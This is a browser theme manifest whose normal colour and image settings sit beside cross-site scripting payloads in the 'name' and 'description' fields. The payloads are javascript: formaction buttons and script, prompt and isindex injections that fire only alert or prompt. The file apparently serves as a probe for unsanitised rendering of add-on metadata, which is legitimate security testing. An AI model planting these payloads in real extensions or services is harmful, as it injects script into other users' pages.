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manifest.json

{
  "theme": {
    "images": {
      "theme_frame": "header.png"
    },
    "colors": {
      "frame": "rgba(229,230,232,1)",
      "tab_background_text": "#000"
    }
  },
  "version": "2.0",
  "name": "<form><button formaction=javascript&colon;alert(1)",
  "manifest_version": 2,
  "description": "&lt;form&gt;&lt;button&gt;CLICKME\n\n'\"&gt;&gt;&lt;marquee&gt;&lt;img src=\"x\"&gt;&lt;/marquee&gt;\"&gt;&lt;/plaintext\\&gt;&lt;plaintext onmouseover=\"prompt(1)\"&gt;&lt;script&gt;prompt(1)&lt;/script&gt;@gmail.com&lt;isindex formaction=\"javascript:alert(/XSS/)\" type=\"submit\"&gt;'--&gt;\"&gt;&lt;/script&gt;&lt;script&gt;alert(1) &lt;/script&gt;\"&gt;&lt;/button&gt;&lt;/form&gt;"
}